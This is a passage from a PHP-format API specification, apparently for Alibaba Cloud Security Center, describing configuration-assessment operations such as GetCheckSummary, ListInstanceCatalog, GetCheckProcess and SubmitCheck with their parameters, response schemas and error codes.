'schema' => [ 'description' => 'The ID of the group to which the check item belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cQFq20UzZ49K6gRSJD1301****', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '132', ], ], [ 'name' => 'InstanceIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance IDs of the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The instance ID of the asset.'."\n" ."\n" .'> You can call the [ListCheckInstanceResult](~~ListCheckInstanceResult~~) operation to query the instance IDs of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'rr-uf69i5n62hyqu****', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'InstanceList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The asset instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the asset instance.'."\n", 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The region ID of the asset.'."\n" ."\n" .'> You can call the [ListCheckInstanceResult](~~ListCheckInstanceResult~~) operation to query the region ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hongkong', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.'."\n" ."\n" .'> You can call the [ListCheckInstanceResult](~~ListCheckInstanceResult~~) operation to query the instance IDs of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-wz9fdluqx20mp2x7****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Default value: **WHITE**. Valid value:'."\n" ."\n" .'* WHITE: adds check items to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WHITE', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The description. The value of this parameter can be up to 65,535 bytes in length.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'AddCheckInstanceResultWhiteListResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned. This parameter is deprecated.'."\n", 'type' => 'object', 'example' => 'xxx', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', ], 'RuleId' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'string', 'example' => '381049', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"test\\": \\"test\\",\\n \\"test2\\": 1\\n },\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"RuleId\\": \\"381049\\"\\n}","type":"json"}]', 'title' => 'AddCheckInstanceResultWhiteList', ], 'GetCheckSummary' => [ 'summary' => 'Queries the summary information about the configuration checks on cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the IDs of Alibaba Cloud accounts.'."\n", 'type' => 'string', 'required' => false, 'example' => '000', ], ], [ 'name' => 'Vendors', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The cloud service providers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **ALIYUN**: an asset provided by Alibaba Cloud'."\n" .'* **TENCENT**: an asset provided by Tencent Cloud'."\n" .'* **AWS**: an asset provided by Amazon Web Services (AWS)'."\n" .'* **HUAWEICLOUD**: an asset provided by Huawei Cloud'."\n" .'* **MICROSOFT**: an asset provided by Microsoft Azure'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'IsItemStatistic', 'in' => 'query', 'schema' => [ 'title' => '是否返回检查项统计信息，包括：系统已发布检查项数、用户当前已有检查项数', 'description' => 'Specifies whether to return the statistics of the check items, including the number of check items supported by the system and the number of check items available to you. Default value: **false**. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of task sources.', 'type' => 'array', 'items' => [ 'description' => 'Task source. Values: '."\n" .'- **YAO_CHI**: YaoChi Console.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'GetCheckSummaryResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Summarys' => [ 'description' => 'The summary information about the configuration checks on cloud services.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the configuration check on cloud services.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the check item. Valid values:'."\n" ."\n" .'* **COMPLIANCE**'."\n" .'* **RISK**'."\n" .'* **IDENTITY_PERMISSION**'."\n", 'type' => 'string', 'example' => 'IDENTITY_PERMISSION', ], 'PassCount' => [ 'description' => 'The number of check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'FailCount' => [ 'description' => 'The number of detected risk items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'Standards' => [ 'description' => 'The information about the check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The standard ID of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'ShowName' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'Identity and permission management'."\n", ], 'PassCount' => [ 'description' => 'The number of check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'FailCount' => [ 'description' => 'The number of check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskLevelHighCount' => [ 'description' => 'The number of **high-risk** items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskLevelMediumCount' => [ 'description' => 'The number of **medium-risk** items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskLevelLowCount' => [ 'description' => 'The number of **low-risk** items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'StandardStatistic' => [ 'description' => 'The standard statistics of the check items.'."\n", 'type' => 'object', 'properties' => [ 'PassCount' => [ 'description' => 'The number of check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PassLowCount' => [ 'description' => 'The number of low-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassMediumCount' => [ 'description' => 'The number of medium-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassHighCount' => [ 'description' => 'The number of high-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassCount' => [ 'description' => 'The number of check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NotPassLowCount' => [ 'description' => 'The number of low-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassMediumCount' => [ 'description' => 'The number of medium-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassHighCount' => [ 'description' => 'The number of high-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckCount' => [ 'description' => 'The number of unchecked check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NotCheckLowCount' => [ 'description' => 'The number of unchecked low-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckMediumCount' => [ 'description' => 'The number of unchecked medium-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckHighCount' => [ 'description' => 'The number of unchecked high-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], 'TypeStatistic' => [ 'description' => 'The risk statistics by type.'."\n", 'type' => 'object', 'properties' => [ 'PassCount' => [ 'description' => 'The number of check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PassLowCount' => [ 'description' => 'The number of low-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassMediumCount' => [ 'description' => 'The number of medium-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassHighCount' => [ 'description' => 'The number of high-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassCount' => [ 'description' => 'The number of check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NotPassLowCount' => [ 'description' => 'The number of low-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassMediumCount' => [ 'description' => 'The number of medium-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassHighCount' => [ 'description' => 'The number of high-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckCount' => [ 'description' => 'The number of unchecked check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NotCheckLowCount' => [ 'description' => 'The number of unchecked low-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckMediumCount' => [ 'description' => 'The number of unchecked medium-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckHighCount' => [ 'description' => 'The number of unchecked high-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], 'OverallStatistic' => [ 'description' => 'The overall risk statistics.'."\n", 'type' => 'object', 'properties' => [ 'PassCount' => [ 'description' => 'The number of check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PassLowCount' => [ 'description' => 'The number of low-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassMediumCount' => [ 'description' => 'The number of medium-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassHighCount' => [ 'description' => 'The number of high-risk check items that pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassCount' => [ 'description' => 'The number of check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NotPassLowCount' => [ 'description' => 'The number of low-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassMediumCount' => [ 'description' => 'The number of medium-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotPassHighCount' => [ 'description' => 'The number of high-risk check items that failed to pass the check.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckCount' => [ 'description' => 'The number of unchecked check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'NotCheckLowCount' => [ 'description' => 'The number of unchecked low-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckMediumCount' => [ 'description' => 'The number of unchecked medium-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NotCheckHighCount' => [ 'description' => 'The number of unchecked high-risk check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '843E4805-****-7EE12FA8DBFD', ], 'OverallItemStatistic' => [ 'description' => 'The statistics about the number of check items.'."\n", 'type' => 'object', 'properties' => [ 'ResultCount' => [ 'title' => '用户当前已有检查项数', 'description' => 'The number of check items available to you.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '25', ], 'ReleaseCount' => [ 'title' => '系统已发布检查项数', 'description' => 'The number of check items supported by the system.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '620', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Summarys\\": [\\n {\\n \\"Type\\": \\"IDENTITY_PERMISSION\\",\\n \\"PassCount\\": 10,\\n \\"FailCount\\": 5,\\n \\"Standards\\": [\\n {\\n \\"Id\\": 1,\\n \\"ShowName\\": \\"身份权限管理\\",\\n \\"PassCount\\": 1,\\n \\"FailCount\\": 1,\\n \\"RiskLevelHighCount\\": 1,\\n \\"RiskLevelMediumCount\\": 1,\\n \\"RiskLevelLowCount\\": 1,\\n \\"StandardStatistic\\": {\\n \\"PassCount\\": 3,\\n \\"PassLowCount\\": 1,\\n \\"PassMediumCount\\": 1,\\n \\"PassHighCount\\": 1,\\n \\"NotPassCount\\": 3,\\n \\"NotPassLowCount\\": 1,\\n \\"NotPassMediumCount\\": 1,\\n \\"NotPassHighCount\\": 1,\\n \\"NotCheckCount\\": 3,\\n \\"NotCheckLowCount\\": 1,\\n \\"NotCheckMediumCount\\": 1,\\n \\"NotCheckHighCount\\": 1\\n }\\n }\\n ],\\n \\"TypeStatistic\\": {\\n \\"PassCount\\": 3,\\n \\"PassLowCount\\": 1,\\n \\"PassMediumCount\\": 1,\\n \\"PassHighCount\\": 1,\\n \\"NotPassCount\\": 3,\\n \\"NotPassLowCount\\": 1,\\n \\"NotPassMediumCount\\": 1,\\n \\"NotPassHighCount\\": 1,\\n \\"NotCheckCount\\": 3,\\n \\"NotCheckLowCount\\": 1,\\n \\"NotCheckMediumCount\\": 1,\\n \\"NotCheckHighCount\\": 1\\n }\\n }\\n ],\\n \\"OverallStatistic\\": {\\n \\"PassCount\\": 3,\\n \\"PassLowCount\\": 1,\\n \\"PassMediumCount\\": 1,\\n \\"PassHighCount\\": 1,\\n \\"NotPassCount\\": 3,\\n \\"NotPassLowCount\\": 1,\\n \\"NotPassMediumCount\\": 1,\\n \\"NotPassHighCount\\": 1,\\n \\"NotCheckCount\\": 3,\\n \\"NotCheckLowCount\\": 1,\\n \\"NotCheckMediumCount\\": 1,\\n \\"NotCheckHighCount\\": 1\\n },\\n \\"RequestId\\": \\"843E4805-****-7EE12FA8DBFD\\",\\n \\"OverallItemStatistic\\": {\\n \\"ResultCount\\": 25,\\n \\"ReleaseCount\\": 620\\n }\\n}","type":"json"}]', 'title' => 'GetCheckSummary', 'translator' => 'machine', ], 'ListInstanceCatalog' => [ 'summary' => 'Queries the asset types and asset subtypes for configuration assessment.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [ 'en' => 'en', 'zh' => 'zh', ], 'example' => 'zh', ], ], [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the region in which the asset resides. Valid values:'."\n" ."\n" .'* **cn-hangzhou**: International'."\n" .'* **ap-southeast-1**: Singapore'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'Types', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of check standards.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the check standard. Valid values:'."\n" ."\n" .'* **RISK**: Alibaba Cloud best security practices'."\n" .'* **COMPLIANCE**: Center for Internet Security (CIS) compliance'."\n" .'* **IDENTITY_PERMISSION**: identity and permission management'."\n", 'type' => 'string', 'required' => false, 'example' => 'RISK', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'StandardIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of standards.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IDs of standards.'."\n" ."\n" .'> You can call the [ListCheckStandard](~~ListCheckStandard~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '2', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'RequirementIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of requirement items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IDs of requirement items.'."\n" ."\n" .'> You can call the [ListCheckStandard](~~ListCheckStandard~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '27', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'OnlyCustom', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to filter the assets that support custom checks. Valid values:'."\n" ."\n" .'* **true**: Filter assets that support custom checks.'."\n" .'* **false**: All assets are selected. This is the default value.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'TaskSources', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'type' => 'array', 'items' => [ 'type' => 'string', 'required' => false, 'description' => 'Task source. Values: - YAO_CHI: Yaochi Console.', 'example' => 'YAO_CHI', ], 'required' => false, 'maxItems' => 100, 'description' => 'List of task sources.', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'GetCheckConfigResponse', 'description' => 'GetCheckConfigResponse'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0D42A83F-CE33-5F54-A5AE-05DA39F59E1B', ], 'Vendors' => [ 'description' => 'The asset types by service provider.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The asset type by service provider.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the service provider.'."\n", 'type' => 'string', 'example' => 'ALIYUN', ], 'InstanceTypes' => [ 'description' => 'The asset types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The asset type.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the asset type.'."\n", 'type' => 'string', 'example' => 'ECS', ], 'InstanceSubTypes' => [ 'description' => 'The asset subtypes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The asset subtype.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the asset subtype.'."\n", 'type' => 'string', 'example' => 'SECURITY_GROUP', ], 'Value' => [ 'description' => 'The ID of the asset subtype.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'Value' => [ 'description' => 'The ID of the asset type. Valid values:'."\n" ."\n" .'* **0**: Elastic Compute Service (ECS)'."\n" .'* **1**: Server Load Balancer (SLB)'."\n" .'* **3**: ApsaraDB RDS'."\n" .'* **4**: ApsaraDB for MongoDB (MongoDB)'."\n" .'* **5**: Tair (Redis OSS-compatible)'."\n" .'* **6**: Container Registry'."\n" .'* **8**: Container Service for Kubernetes (ACK)'."\n" .'* **9**: Virtual Private Cloud (VPC)'."\n" .'* **11**: ActionTrail'."\n" .'* **12**: Alibaba Cloud CDN (CDN)'."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **14**: Alibaba Cloud DevOps'."\n" .'* **15**: Resource Access Management (RAM)'."\n" .'* **16**: Anti-DDoS'."\n" .'* **17**: Web Application Firewall (WAF)'."\n" .'* **18**: Object Storage Service (OSS)'."\n" .'* **19**: PolarDB'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" .'* **21**: Microservices Engine (MSE)'."\n" .'* **22**: Apsara File Storage NAS (NAS)'."\n" .'* **23**: Data Security Center (DSC)'."\n" .'* **24**: Elastic IP Address (EIP)'."\n" .'* **25**: Identity as a Service (IDaaS) - Enterprise Identity Access Management (EIAM)'."\n" .'* **26**: PolarDB for Xscale (PolarDB-X)'."\n" .'* **27**: Elasticsearch'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], ], ], ], 'Value' => [ 'description' => 'The ID of the service provider type. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: an asset outside Alibaba Cloud'."\n" .'* **2**: an asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: an asset from a third-party cloud service provider'."\n" .'* **8**: a lightweight cloud asset'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0D42A83F-CE33-5F54-A5AE-05DA39F59E1B\\",\\n \\"Vendors\\": [\\n {\\n \\"Name\\": \\"ALIYUN\\",\\n \\"InstanceTypes\\": [\\n {\\n \\"Name\\": \\"ECS\\",\\n \\"InstanceSubTypes\\": [\\n {\\n \\"Name\\": \\"SECURITY_GROUP\\",\\n \\"Value\\": 1\\n }\\n ],\\n \\"Value\\": 15\\n }\\n ],\\n \\"Value\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListInstanceCatalog', ], 'GetCheckProcess' => [ 'summary' => 'Queries the progress of a configuration check task on cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '119340', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task.'."\n" ."\n" .'> You can call the [SubmitCheck](~~SubmitCheck~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '5347c7b6-c85c-4070-846a-3029e08e****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'GetCheckProcessResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of assets on which the task is performed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '113', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D18B5DAD-BA97-5552-AE48-83F59D5F****', ], 'FinishCount' => [ 'description' => 'The total number of assets on which the task is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '80', ], 'StatusCode' => [ 'description' => 'The status code of the Cloud Security Posture Management (CSPM) task. Valid values:'."\n" ."\n" .'* 0: The task is being initialized. The system is calculating the total number of subtasks.'."\n" .'* 1: The task is being executed. You can query the total number of tasks and the number of completed tasks.'."\n" .'* 2: The task is successful.'."\n" .'* 3: The task times out.'."\n" .'* 4: The task is invalid. Check whether assets exist.'."\n" .'* 5: No task record is found. Check whether the TaskId parameter is valid.'."\n", 'type' => 'string', 'example' => '1', ], 'TaskId' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'example' => '5347c7b6-c85c-4070-846a-3029e08e****'."\n", ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 113,\\n \\"RequestId\\": \\"D18B5DAD-BA97-5552-AE48-83F59D5F****\\",\\n \\"FinishCount\\": 80,\\n \\"StatusCode\\": \\"1\\",\\n \\"TaskId\\": \\"5347c7b6-c85c-4070-846a-3029e08e****\\\\n\\"\\n}","type":"json"}]', 'title' => 'GetCheckProcess', ], 'SubmitCheck' => [ 'summary' => 'Submits a configuration assessment task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'paid', 'abilityTreeCode' => '119327', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ScanRange', 'in' => 'query', 'schema' => [ 'description' => 'The check items that are scanned. Valid values:'."\n" ."\n" .'* **FULL**: All check items are scanned.'."\n" .'* **FULL**: Only the check items that are configured are scanned.'."\n", 'type' => 'string', 'required' => false, 'example' => 'POLICY', ], ], [ 'name' => 'TaskSource', 'in' => 'query', 'schema' => [ 'description' => 'The source of task.', 'type' => 'string', 'required' => false, 'example' => 'YAO_CHI', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'SubmitCheckResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the configuration assessment task.'."\n", 'type' => 'string', 'example' => '5fe3f65d-4012-455d-8232-2a98a858****', ], 'Data' => [ 'description' => 'The data returned if the call is successful.'."\n", 'type' => 'object', 'properties' => [ 'OperateCode' => [ 'description' => 'The operation code of the configuration assessment task.'."\n" ."\n" .'* **Throttling**: frequency limit'."\n" .'* **AuthorizationExhaust**: insufficient quota'."\n", 'type' => 'string', 'example' => 'Throttling', ], 'ThrottlingTimeSecond' => [ 'description' => 'The throttling duration. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1800', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE8369A6-A843-5E1B-A613-78E6920D****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TaskId\\": \\"5fe3f65d-4012-455d-8232-2a98a858****\\",\\n \\"Data\\": {\\n \\"OperateCode\\": \\"Throttling\\",\\n \\"ThrottlingTimeSecond\\": 1800\\n },\\n \\"RequestId\\": \\"CE8369A6-A843-5E1B-A613-78E6920D****\\"\\n}","type":"json"}]', 'title' => 'SubmitCheck', ], 'ChangeCheckConfig' => [ 'summary' => 'Modifies the configuration items of the configuration assessment feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '125446', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the bastion host to query.'."\n" ."\n" .'> For more information about the mapping between region IDs and region names, see [Regions and zones](~~40654~~).'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'CycleDays', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The days in a week on which a check is performed.', 'type' => 'array', 'items' => [ 'description' => 'The day in a week on which a check is performed. Valid values: 1 to 7.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '3', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start time of the check. The value specifies a point in time in a day.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end time of the check. The value specifies a point in time in a day. The 